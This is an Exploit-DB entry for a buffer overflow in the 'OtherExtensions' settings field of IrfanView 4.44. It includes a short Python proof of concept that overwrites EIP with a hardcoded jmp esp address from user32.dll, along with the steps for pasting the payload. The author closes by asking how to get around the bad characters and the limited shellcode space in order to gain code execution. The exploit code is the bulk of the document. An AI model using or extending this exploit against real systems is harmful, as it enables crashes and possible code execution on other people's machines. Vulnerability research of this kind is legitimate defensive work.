[dos] IrfanView 4.44 - Denial of Service

EDB-ID: 41949
Author: Dreivan Orprecio
Published: 2017-04-29
CVE: N/A
Type: Dos
Platform: Windows
Vulnerable App: Download Vulnerable Application 

 # Date: 29-04-2017 
 # Software Link: http://download.cnet.com/IrfanView/?part=dl-&subj=dl&tag=button 
 # Exploit Author: Dreivan Orprecio 
 #Version: Irfanview 4.44 
 #Irfanview is vulnerable to overflow in "OtherExtensions" input field 
 #Debugging Machine: WinXP Pro SP3 (32bit) 
  
  
 #POC 
  
 #!usr/bin/python 
  
  
       eip = "\xf7\x56\x44\x7e" #jmp esp from user32.dll 
  
  
  
       buffer = "OtherExtensions="+"A" *  199 + eip + "\xcc"  
  
       print buffer              #a) irfanview->Option->Properties/Settings->Extensions 
                                 #b) Paste the buffer in the "other" input then press ok, repeat a) and b) 
  
  
  
  
  
 #badcharacters: those instruction that start with 6,7,8,E,F  
 #Only 43 bytes space to host a shellcode and lots of badchars make it hard for this to exploit 
 #Any other way around this?

Source: www.exploit-db.com
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